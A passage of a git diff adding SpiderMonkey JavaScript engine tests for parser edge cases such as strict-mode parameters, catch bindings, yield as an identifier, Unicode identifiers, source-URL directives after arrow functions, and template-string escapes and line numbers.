+ parameters => `class C { constructor(${parameters}) { "use strict"; } }`,
+
+ // MethodDefinition (getter)
+ parameters => `({ get m(${parameters}) { "use strict"; } });`,
+ parameters => `(class { get m(${parameters}) { "use strict"; } });`,
+ parameters => `class C { get m(${parameters}) { "use strict"; } }`,
+
+ // MethodDefinition (setter)
+ parameters => `({ set m(${parameters}) { "use strict"; } });`,
+ parameters => `(class { set m(${parameters}) { "use strict"; } });`,
+ parameters => `class C { set m(${parameters}) { "use strict"; } }`,
+
+ // GeneratorMethod
+ parameters => `({ *m(${parameters}) { "use strict"; } });`,
+ parameters => `(class { *m(${parameters}) { "use strict"; } });`,
+ parameters => `class C { *m(${parameters}) { "use strict"; } }`,
+
+ // ArrowFunction
+ parameters => `(${parameters}) => { "use strict"; };`,
+];
+
+for (let nonSimpleParameters of testCases) {
+ for (let def of functionDefinitions) {
+ // Non-strict script code.
+ assertThrowsInstanceOf(() => eval(`
+ ${def(nonSimpleParameters)}
+ `), SyntaxError, def(nonSimpleParameters));
+
+ // Strict script code.
+ assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ ${def(nonSimpleParameters)}
+ `), SyntaxError, `"use strict"; ${def(nonSimpleParameters)}`);
+ }
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/syntax/omitted-catch-binding.js b/js/src/tests/non262/syntax/omitted-catch-binding.js
new file mode 100644
index 0000000000..86b3c0f4f8
--- /dev/null
+++ b/js/src/tests/non262/syntax/omitted-catch-binding.js
@@ -0,0 +1,36 @@
+var state = 'initial';
+try {
+ throw new Error('caught');
+ state = 'unreachable';
+} catch { // Note the lack of a binding
+ assertEq(state, 'initial');
+ state = 'caught';
+}
+assertEq(state, 'caught');
+
+
+var sigil1 = {};
+try {
+ throw sigil1;
+} catch (e) {
+ assertEq(e, sigil1);
+}
+
+
+var sigil2 = {};
+var reached = false;
+try {
+ try {
+ throw sigil1;
+ } catch {
+ reached = true;
+ } finally {
+ throw sigil2;
+ }
+} catch (e) {
+ assertEq(e, sigil2);
+}
+assertEq(reached, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/syntax/shell.js b/js/src/tests/non262/syntax/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/syntax/shell.js
diff --git a/js/src/tests/non262/syntax/statement-versus-statementlistitem.js b/js/src/tests/non262/syntax/statement-versus-statementlistitem.js
new file mode 100644
index 0000000000..d0565353dd
--- /dev/null
+++ b/js/src/tests/non262/syntax/statement-versus-statementlistitem.js
@@ -0,0 +1,148 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate, parseModule
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288459;
+var summary =
+ "Properly implement the spec's distinctions between StatementListItem and " +
+ "Statement grammar productions and their uses";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var counter = 0;
+
+// Test all the different contexts that expect a Statement.
+
+function contextAcceptsStatement(pat)
+{
+ var goodCode =
+`function f${counter++}()
+{
+ ${pat.replace("@@@", "let \n {} \n ;")}
+}
+`;
+
+ evaluate(goodCode);
+
+ var badCode =
+`function f${counter++}()
+{
+ ${pat.replace("@@@", "let {} \n ;")}
+}
+`;
+
+ try
+ {
+ evaluate(badCode);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "didn't get a syntax error, instead got: " + e);
+ }
+}
+
+contextAcceptsStatement("if (0) @@@");
+contextAcceptsStatement("if (0) ; else @@@");
+contextAcceptsStatement("if (0) ; else if (0) @@@");
+contextAcceptsStatement("if (0) ; else if (0) ; else @@@");
+// Can't test do-while loops this way because the Statement isn't in trailing
+// position, so 'let' followed by newline *must* be followed by 'while'.
+contextAcceptsStatement("while (1) @@@");
+contextAcceptsStatement("for (1; 1; 0) @@@");
+contextAcceptsStatement("for (var x; 1; 0) @@@");
+contextAcceptsStatement("for (let x; 1; 0) @@@");
+contextAcceptsStatement("for (const x = 1; 1; 0) @@@");
+contextAcceptsStatement("for (x in 0) @@@");
+contextAcceptsStatement("for (var x in 0) @@@");
+contextAcceptsStatement("for (let x in 0) @@@");
+contextAcceptsStatement("for (const x in 0) @@@");
+contextAcceptsStatement("for (x of []) @@@");
+contextAcceptsStatement("for (var x of []) @@@");
+contextAcceptsStatement("for (let x of []) @@@");
+contextAcceptsStatement("for (const x of []) @@@");
+contextAcceptsStatement("with (1) @@@");
+contextAcceptsStatement("foo: @@@");
+
+// Test all the different contexts that expect a StatementListItem.
+
+function contextAcceptsStatementListItem(pat)
+{
+ var goodCode =
+`function f${counter++}()
+{
+ ${pat.replace("@@@", "let \n [] = [] ;")}
+}
+`;
+
+ evaluate(goodCode);
+
+ var moarGoodCode = pat.replace("@@@", "let \n [] = [] ;");
+ evaluate(moarGoodCode);
+
+ var goodModuleCode = pat.replace("@@@", "let \n [] = [] ;");
+ parseModule(goodModuleCode);
+
+ var badCode =
+`function f${counter++}()
+{
+ ${pat.replace("@@@", "let \n let = 3 ;")}
+}
+`;
+
+ try
+ {
+ evaluate(badCode);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "didn't get a syntax error, instead got: " + e);
+ }
+}
+
+contextAcceptsStatementListItem("{ @@@ }");
+contextAcceptsStatementListItem("switch (1) { case 1: @@@ }");
+contextAcceptsStatementListItem("switch (1) { default: @@@ }");
+contextAcceptsStatementListItem("switch (1) { case 0: case 1: @@@ }");
+contextAcceptsStatementListItem("switch (1) { case 0: break; case 1: @@@ }");
+contextAcceptsStatementListItem("switch (1) { default: @@@ case 2: }");
+contextAcceptsStatementListItem("try { @@@ } catch (e) { }");
+contextAcceptsStatementListItem("try { @@@ } finally { }");
+contextAcceptsStatementListItem("try { @@@ } catch (e) { } finally { }");
+contextAcceptsStatementListItem("try { } catch (e) { @@@ }");
+contextAcceptsStatementListItem("try { } finally { @@@ }");
+contextAcceptsStatementListItem("try { } catch (e) { @@@ } finally { }");
+contextAcceptsStatementListItem("try { } catch (e) { } finally { @@@ }");
+contextAcceptsStatementListItem("_ => { @@@ }");
+contextAcceptsStatementListItem("function q() { @@@ }");
+contextAcceptsStatementListItem("function* q() { @@@ }");
+contextAcceptsStatementListItem("(function() { @@@ })");
+contextAcceptsStatementListItem("(function*() { @@@ })");
+contextAcceptsStatementListItem("({ *q() { @@@ } })");
+contextAcceptsStatementListItem("({ q() { @@@ } })");
+contextAcceptsStatementListItem("({ get q() { @@@ } })");
+contextAcceptsStatementListItem("({ set q(v) { @@@ } })");
+contextAcceptsStatementListItem("(class { f() { @@@ } })");
+contextAcceptsStatementListItem("(class { static f() { @@@ } })");
+contextAcceptsStatementListItem("(class { static *f() { @@@ } })");
+contextAcceptsStatementListItem("(class { static get f() { @@@ } })");
+contextAcceptsStatementListItem("(class { static set f(v) { @@@ } })");
+contextAcceptsStatementListItem("(class { static() { @@@ } })");
+contextAcceptsStatementListItem("@@@");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/syntax-parsed-arrow-then-bigint.js b/js/src/tests/non262/syntax/syntax-parsed-arrow-then-bigint.js
new file mode 100644
index 0000000000..d7a4ccd092
--- /dev/null
+++ b/js/src/tests/non262/syntax/syntax-parsed-arrow-then-bigint.js
@@ -0,0 +1,40 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1596706;
+var summary =
+ "Properly evaluate a bigint literal that's initially tokenized by a syntax " +
+ "parser (because the bigint literal appears immediately after an arrow " +
+ "function with expression body)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// block followed by semicolon
+assertEq(eval(`x=>{};
+17n`), 17n);
+
+// block not followed by semicolon
+assertEq(eval(`x=>{}
+42n`), 42n);
+
+// expr followed by semicolon
+assertEq(eval(`x=>y;
+8675309n`), 8675309n);
+
+// expr not followed by semicolon
+assertEq(eval(`x=>y
+78051120n`), 78051120n);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/syntax-parsed-arrow-then-directive.js b/js/src/tests/non262/syntax/syntax-parsed-arrow-then-directive.js
new file mode 100644
index 0000000000..9be9c3fca6
--- /dev/null
+++ b/js/src/tests/non262/syntax/syntax-parsed-arrow-then-directive.js
@@ -0,0 +1,72 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1596706;
+var summary =
+ "Properly apply a directive comment that's only tokenized by a syntax " +
+ "parser (because the directive comment appears immediately after an arrow " +
+ "function with expression body)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var stack;
+
+function reset()
+{
+ stack = "";
+}
+
+function assertStackContains(needle, msg)
+{
+ assertEq(stack.indexOf(needle) >= 0, true,
+ `stack should contain '${needle}': ${msg}`);
+}
+
+Object.defineProperty(this, "detectSourceURL", {
+ get() {
+ stack = new Error().stack;
+ return 17;
+ }
+});
+
+// block followed by semicolon
+reset();
+assertEq(eval(`x=>{};
+//# sourceURL=http://example.com/foo.js
+detectSourceURL`), 17);
+assertStackContains("http://example.com/foo.js", "block, semi");
+
+// block not followed by semicolon
+reset();
+assertEq(eval(`x=>{}
+//# sourceURL=http://example.com/bar.js
+detectSourceURL`), 17);
+assertStackContains("http://example.com/bar.js", "block, not semi");
+
+// expr followed by semicolon
+reset();
+assertEq(eval(`x=>y;
+//# sourceURL=http://example.com/baz.js
+detectSourceURL`), 17);
+assertStackContains("http://example.com/baz.js", "expr, semi");
+
+// expr not followed by semicolon
+reset();
+assertEq(eval(`x=>y
+//# sourceURL=http://example.com/quux.js
+detectSourceURL`), 17);
+assertStackContains("http://example.com/quux.js", "expr, not semi");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/syntax-parsed-arrow-then-sourcemap-directive.js b/js/src/tests/non262/syntax/syntax-parsed-arrow-then-sourcemap-directive.js
new file mode 100644
index 0000000000..71e2b2bdaf
--- /dev/null
+++ b/js/src/tests/non262/syntax/syntax-parsed-arrow-then-sourcemap-directive.js
@@ -0,0 +1,63 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs Debugger
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1596706;
+var summary =
+ "Properly apply a source map directive that's only tokenized by a syntax " +
+ "parser (because the directive comment appears immediately after an arrow " +
+ "function with expression body)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var g = newGlobal({newCompartment: true});
+var dbg = new Debugger(g);
+
+var script;
+dbg.onDebuggerStatement = function (frame)
+{
+ script = frame.script;
+};
+
+function checkSourceMapFor(arrowFunc, sourceMap)
+{
+ g.evaluate(`${arrowFunc}
+//# sourceMappingURL=${sourceMap}
+debugger;`);
+
+ assertEq(script instanceof Debugger.Script, true,
+ "expected a Debugger.Script for " + arrowFunc);
+
+ var source = script.source;
+ assertEq(source instanceof Debugger.Source, true,
+ "expected a Debugger.Source for " + arrowFunc);
+
+ assertEq(source.sourceMapURL, sourceMap,
+ "unexpected source map for " + arrowFunc);
+}
+
+// block followed by semicolon
+checkSourceMapFor("x=>{};", "http://example.com/foo.js");
+
+// block not followed by semicolon
+checkSourceMapFor("x=>{}", "http://example.com/bar.js");
+
+// expr followed by semicolon
+checkSourceMapFor("x=>y;", "http://example.com/baz.js");
+
+// expr not followed by semicolon
+checkSourceMapFor("x=>y", "http://example.com/bar.js");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/syntax/unicode_other_id_continue.js b/js/src/tests/non262/syntax/unicode_other_id_continue.js
new file mode 100644
index 0000000000..03dd09b71b
--- /dev/null
+++ b/js/src/tests/non262/syntax/unicode_other_id_continue.js
@@ -0,0 +1,45 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// From PropList.txt (Unicode 9):
+const otherIdContinue = [
+ 0x00B7, // MIDDLE DOT, Gc=Po
+ 0x0387, // GREEK ANO TELEIA, Gc=Po
+ 0x1369, // ETHIOPIC DIGIT ONE, Gc=No
+ 0x136A, // ETHIOPIC DIGIT TWO, Gc=No
+ 0x136B, // ETHIOPIC DIGIT THREE, Gc=No
+ 0x136C, // ETHIOPIC DIGIT FOUR, Gc=No
+ 0x136D, // ETHIOPIC DIGIT FIVE, Gc=No
+ 0x136E, // ETHIOPIC DIGIT SIX, Gc=No
+ 0x136F, // ETHIOPIC DIGIT SEVEN, Gc=No
+ 0x1370, // ETHIOPIC DIGIT EIGHT, Gc=No
+ 0x1371, // ETHIOPIC DIGIT NINE, Gc=No
+ 0x19DA, // NEW TAI LUE THAM DIGIT ONE, Gc=No
+];
+
+// Leading character in identifier.
+for (let ident of [...otherIdContinue]) {
+ assertThrowsInstanceOf(() => eval(`${String.fromCodePoint(ident)}`), SyntaxError);
+ assertThrowsInstanceOf(() => eval(`\\u${ident.toString(16).padStart(4, "0")}`), SyntaxError);
+ assertThrowsInstanceOf(() => eval(`\\u{${ident.toString(16)}}`), SyntaxError);
+}
+
+// Not leading character in identifier.
+for (let ident of [...otherIdContinue]) {
+ eval(`
+ let A${String.fromCodePoint(ident)} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ eval(`
+ let A\\u${ident.toString(16).padStart(4, "0")} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ eval(`
+ let A\\u{${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/syntax/unicode_other_id_start.js b/js/src/tests/non262/syntax/unicode_other_id_start.js
new file mode 100644
index 0000000000..86790dd00e
--- /dev/null
+++ b/js/src/tests/non262/syntax/unicode_other_id_start.js
@@ -0,0 +1,48 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// From PropList.txt (Unicode 9):
+const otherIdStart = [
+ 0x1885, // MONGOLIAN LETTER ALI GALI BALUDA, Gc=Mn
+ 0x1886, // MONGOLIAN LETTER ALI GALI THREE BALUDA, Gc=Mn
+ 0x2118, // SCRIPT CAPITAL P, Gc=Sm
+ 0x212E, // ESTIMATED SYMBOL, Gc=So
+ 0x309B, // KATAKANA-HIRAGANA VOICED SOUND MARK, Gc=Sk
+ 0x309C, // KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, Gc=Sk
+];
+
+// Leading character in identifier.
+for (let ident of otherIdStart) {
+ eval(`
+ let ${String.fromCodePoint(ident)} = 123;
+ assertEq(${String.fromCodePoint(ident)}, 123);
+ `);
+ eval(`
+ let \\u${ident.toString(16).padStart(4, "0")} = 123;
+ assertEq(${String.fromCodePoint(ident)}, 123);
+ `);
+ eval(`
+ let \\u{${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(ident)}, 123);
+ `);
+}
+
+// Not leading character in identifier.
+for (let ident of otherIdStart) {
+ eval(`
+ let A${String.fromCodePoint(ident)} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ eval(`
+ let A\\u${ident.toString(16).padStart(4, "0")} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ eval(`
+ let A\\u{${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/syntax/yield-as-identifier.js b/js/src/tests/non262/syntax/yield-as-identifier.js
new file mode 100644
index 0000000000..665b0b11c4
--- /dev/null
+++ b/js/src/tests/non262/syntax/yield-as-identifier.js
@@ -0,0 +1,54 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288459;
+var summary = "|yield| is sometimes a valid identifier";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function t(code)
+{
+ var strictSemi = " 'use strict'; " + code;
+ var strictASI = " 'use strict' \n " + code;
+
+ var creationFunctions = ["Function"];
+ if (typeof evaluate === "function")
+ creationFunctions.push("evaluate");
+ if (typeof parseModule === "function")
+ creationFunctions.push("parseModule");
+
+ for (var func of creationFunctions)
+ {
+ var g = newGlobal();
+ var f = g[func];
+
+ if (func === "parseModule")
+ assertThrowsInstanceOf(() => f(code), g.SyntaxError);
+ else
+ f(code);
+
+ assertThrowsInstanceOf(() => f(strictSemi), g.SyntaxError);
+ assertThrowsInstanceOf(() => f(strictASI), g.SyntaxError);
+ }
+}
+
+t("var yield = 3;");
+t("let yield = 3;");
+t("const yield = 3;");
+t("for (var yield = 3; ; ) break;");
+t("for (let yield = 3; ; ) break;");
+t("for (const yield = 3; ; ) break;");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/template-strings/browser.js b/js/src/tests/non262/template-strings/browser.js
new file mode 100644
index 0000000000..139597f9cb
--- /dev/null
+++ b/js/src/tests/non262/template-strings/browser.js
@@ -0,0 +1,2 @@
+
+
diff --git a/js/src/tests/non262/template-strings/bug1559123.js b/js/src/tests/non262/template-strings/bug1559123.js
new file mode 100644
index 0000000000..a739dd7dee
--- /dev/null
+++ b/js/src/tests/non262/template-strings/bug1559123.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+const getStrings = (strings, ...values) => strings;
+const getRef = () => getStrings`test`;
+let c = getRef();
+relazifyFunctions(getRef);
+assertEq(getRef(), c);
+// Note the failure case here looks like this:
+// Assertion failed: got ["test"], expected ["test"]
+// If you're reading this test and going "wtf", it's because this is testing
+// reference identity of the array object - they're actually different arrays,
+// but have the same contents.
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/template-strings/debugLineNumber.js b/js/src/tests/non262/template-strings/debugLineNumber.js
new file mode 100644
index 0000000000..aba1656866
--- /dev/null
+++ b/js/src/tests/non262/template-strings/debugLineNumber.js
@@ -0,0 +1,50 @@
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0. If a copy of the MPL was not distributed with this
+// file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+// TEST BEGIN
+
+// verify debugger line numbers are accurate
+try {
+ `
+ a
+ b
+ c
+ `;
+ throw Error("error");
+} catch (e) {
+ assertEq(e.lineNumber, 14);
+}
+
+try {
+ function tagThatThrows(...args) { throw new Error(); }
+
+ tagThatThrows`
+ multi-line
+ template
+ string`;
+} catch (e) {
+ var stackLines = e.stack.split('\n');
+ var firstLine = stackLines[0].split(':');
+ var secondLine = stackLines[1].split(':');
+ var firstLineSize = firstLine.length;
+ var secondLineSize = secondLine.length;
+ assertEq(firstLine[firstLineSize - 2], "20");
+ assertEq(firstLine[firstLineSize - 1], "45");
+ assertEq(secondLine[secondLineSize - 2], "22");
+ assertEq(secondLine[secondLineSize - 1], "18");
+}
+
+try {
+ ` multi-line
+ template
+ with
+ ${substitutionThatThrows()}`
+
+} catch (e) {
+ assertEq(e.lineNumber, 42);
+}
+
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/template-strings/lineNumber.js b/js/src/tests/non262/template-strings/lineNumber.js
new file mode 100644
index 0000000000..6163d5421d
--- /dev/null
+++ b/js/src/tests/non262/template-strings/lineNumber.js
@@ -0,0 +1,72 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var BUGNUMBER = 1253847;
+var summary = 'Line numbers should be updated correctly when a template literal contains CRLF sequences.';
+
+print(BUGNUMBER + ": " + summary);
+
+// lineNumber after template literal.
+var base, x, lineno;
+eval([
+ "base = new Error().lineNumber;",
+ "x = `",
+ "`;",
+ "lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 3);
+
+eval([
+ "base = new Error().lineNumber;",
+ "x = `",
+ "",
+ "`;",
+ "lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 4);
+
+eval([
+ "base = new Error().lineNumber;",
+ "x = `a",
+ "b`;",
+ "lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 3);
+
+// lineNumber inside template literal
+eval([
+ "base = new Error().lineNumber;",
+ "x = `${new Error().lineNumber}",
+ "${new Error().lineNumber}",
+ "${new Error().lineNumber}`;",
+ "lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 4);
+assertEq(x, (base + 1) + '\n' + (base + 2) + '\n' + (base + 3));
+
+eval([
+ "var base = new Error().lineNumber;",
+ "var x = `",
+ "${new Error().lineNumber}",
+ "${new Error().lineNumber}",
+ "${new Error().lineNumber}",
+ "`;",
+ "var lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 6);
+assertEq(x, '\n' + (base + 2) + '\n' + (base + 3) + '\n' + (base + 4) + '\n');
+
+// When CR, LF, and CRLF are mixed.
+eval([
+ "var base = new Error().lineNumber;", "\n",
+ "var x = `${new Error().lineNumber}", "\n",
+ "${new Error().lineNumber}", "\r\n",
+ "${new Error().lineNumber}", "\r",
+ "${new Error().lineNumber}`;", "\n",
+ "var lineno = new Error().lineNumber;",
+].join(""));
+assertEq(lineno, base + 5);
+assertEq(x, (base + 1) + '\n' + (base + 2) + '\n' + (base + 3) + '\n' + (base + 4));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/template-strings/noSubst.js b/js/src/tests/non262/template-strings/noSubst.js
new file mode 100644
index 0000000000..730275fd99
--- /dev/null
+++ b/js/src/tests/non262/template-strings/noSubst.js
@@ -0,0 +1,148 @@
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0. If a copy of the MPL was not distributed with this
+// file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+// This test case is weird in the sense the actual work happens at the eval
+// at the end. If template strings are not enabled, the test cases would throw
+// a syntax error and we'd have failure reported. To avoid that, the entire
+// test case is commented out and is part of a function. We use toString to
+// get the string version, obtain the actual lines to run, and then use eval to
+// do the actual evaluation.
+
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e.name === "SyntaxError") {
+ return;
+ }
+ }
+ throw "Expected syntax error: " + script;
+}
+
+// TEST BEGIN
+
+// unterminated quasi literal
+syntaxError("`");
+syntaxError("`$");
+syntaxError("`${");
+syntaxError("`${}");
+syntaxError("`${1}");
+syntaxError("`${1 + 2}");
+
+// almost template substitutions
+assertEq("$", `$`);
+assertEq("$}", `$}`);
+assertEq("}", `}`);
+assertEq("{", `{`);
+
+
+// character escape sequence (single escape character)
+assertEq("\'", `\'`);
+assertEq("\"", `\"`);
+assertEq("\\", `\\`);
+assertEq("\b", `\b`);
+assertEq("\f", `\f`);
+assertEq("\n", `\n`);
+assertEq("\r", `\r`);
+assertEq("\t", `\t`);
+assertEq("\v", `\v`);
+assertEq("\r\n", `\r\n`);
+
+
+assertEq("\0", eval("`\\" + String.fromCharCode(0) + "`"));
+assertEq("$", `\$`);
+assertEq(".", `\.`);
+assertEq("A", `\A`);
+assertEq("a", `\a`);
+
+
+// digit escape sequence
+assertEq("\0", `\0`);
+syntaxError("`\\1`");
+syntaxError("`\\2`");
+syntaxError("`\\3`");
+syntaxError("`\\4`");
+syntaxError("`\\5`");
+syntaxError("`\\6`");
+syntaxError("`\\7`");
+syntaxError("`\\01`");
+syntaxError("`\\001`");
+syntaxError("`\\00`");
+
+// hex escape sequence
+syntaxError("`\\x`");
+syntaxError("`\\x0`");
+syntaxError("`\\x0Z`");
+syntaxError("`\\xZ`");
+
+assertEq("\0", `\x00`);
+assertEq("$", `\x24`);
+assertEq(".", `\x2E`);
+assertEq("A", `\x41`);
+assertEq("a", `\x61`);
+assertEq("AB", `\x41B`);
+assertEq(String.fromCharCode(0xFF), `\xFF`);
+
+
+// unicode escape sequence
+
+assertEq("\0", `\u0000`);
+assertEq("$", `\u0024`);
+assertEq(".", `\u002E`);
+assertEq("A", `\u0041`);
+assertEq("a", `\u0061`);
+assertEq("AB", `\u0041B`);
+assertEq(String.fromCharCode(0xFFFF), `\uFFFF`);
+
+
+// line continuation
+assertEq("", eval("`\\\n`"));
+assertEq("", eval("`\\\r`"));
+assertEq("", eval("`\\\u2028`"));
+assertEq("", eval("`\\\u2029`"));
+assertEq("\u2028", eval("`\u2028`"));
+assertEq("\u2029", eval("`\u2029`"));
+
+assertEq("a\nb", eval("`a\rb`"))
+assertEq("a\nb", eval("`a\r\nb`"))
+assertEq("a\n\nb", eval("`a\r\rb`"))
+
+
+// source character
+for (var i = 0; i < 0xFF; ++i) {
+ var c = String.fromCharCode(i);
+ if (c == "`" || c == "\\" || c == "\r") continue;
+ assertEq(c, eval("`" + c + "`"));
+}
+
+assertEq("", ``);
+assertEq("`", `\``);
+assertEq("$", `$`);
+assertEq("$$", `$$`);
+assertEq("$$}", `$$}`);
+
+// multi-line
+assertEq(`hey
+there`, "hey\nthere");
+
+// differences between strings and template strings
+syntaxError("var obj = { `illegal`: 1}");
+
+// test for JSON.parse
+assertThrowsInstanceOf(() => JSON.parse('[1, `false`]'), SyntaxError);
+
+syntaxError('({get `name`() { return 10; }});');
+
+// test for "use strict" directive
+assertEq(5, Function("`use strict`; return 05;")());
+var func = function f() {
+ `ignored string`;
+ "use strict";
+ return 06;
+}
+assertEq(6, func());
+syntaxError("\"use strict\"; return 06;");
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/template-strings/shell.js b/js/src/tests/non262/template-strings/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/template-strings/shell.js
diff --git a/js/src/tests/non262/template-strings/tagTempl.js b/js/src/tests/non262/template-strings/tagTempl.js
new file mode 100644
index 0000000000..6078f4ad9e
--- /dev/null
+++ b/js/src/tests/non262/template-strings/tagTempl.js
@@ -0,0 +1,464 @@
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0. If a copy of the MPL was not distributed with this
+// file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+// This test case is weird in the sense the actual work happens at the eval
+// at the end. If template strings are not enabled, the test cases would throw
+// a syntax error and we'd have failure reported. To avoid that, the entire
+// test case is commented out and is part of a function. We use toString to
+// get the string version, obtain the actual lines to run, and then use eval to
+// do the actual evaluation.
+
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e.name === "SyntaxError") {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+// function definitions
+function check(actual, expected) {
+ assertEq(actual.length, expected.length);
+ for (var i = 0; i < expected.length; i++)
+ assertEq(actual[i], expected[i]);
+}
+
+function cooked(cs) { return cs; }
+function raw(cs) { return cs.raw; }
+function args(cs, ...rest) { return rest; }
+
+
+// TEST BEGIN
+
+// Literals
+check(raw``, [""]);
+check(raw`${4}a`, ["","a"]);
+check(raw`${4}`, ["",""]);
+check(raw`a${4}`, ["a",""]);
+check(raw`a${4}b`, ["a","b"]);
+check(raw`a${4}b${3}`, ["a","b",""]);
+check(raw`a${4}b${3}c`, ["a","b","c"]);
+check(raw`a${4}${3}c`, ["a","","c"]);
+check(raw`${4}${3}`, ["","",""]);
+check(raw`${4}\r\r${3}`, ["","\\r\\r",""]);
+check(raw`${4}${3}c`, ["","","c"]);
+check(raw`zyx${4}wvut${3}c`, ["zyx","wvut","c"]);
+check(raw`zyx${4}wvut${3}\r\n`, ["zyx","wvut","\\r\\n"]);
+
+check(raw`hey`, ["hey"]);
+check(raw`he\r\ny`, ["he\\r\\ny"]);
+check(raw`he\ry`, ["he\\ry"]);
+check(raw`he\r\ry`, ["he\\r\\ry"]);
+check(raw`he\ny`, ["he\\ny"]);
+check(raw`he\n\ny`, ["he\\n\\ny"]);
+
+check(cooked`hey`, ["hey"]);
+check(cooked`he\r\ny`, ["he\r\ny"]);
+check(cooked`he\ry`, ["he\ry"]);
+check(cooked`he\r\ry`, ["he\r\ry"]);
+check(cooked`he\ny`, ["he\ny"]);
+check(cooked`he\n\ny`, ["he\n\ny"]);
+
+check(eval("raw`\r`"), ["\n"]);
+check(eval("raw`\r\n`"), ["\n"]);
+check(eval("raw`\r\r\n`"), ["\n\n"]);
+check(eval("raw`he\r\ny`"), ["he\ny"]);
+check(eval("raw`he\ry`"), ["he\ny"]);
+check(eval("raw`he\r\ry`"), ["he\n\ny"]);
+check(eval("raw`he\r\r\ny`"), ["he\n\ny"]);
+
+
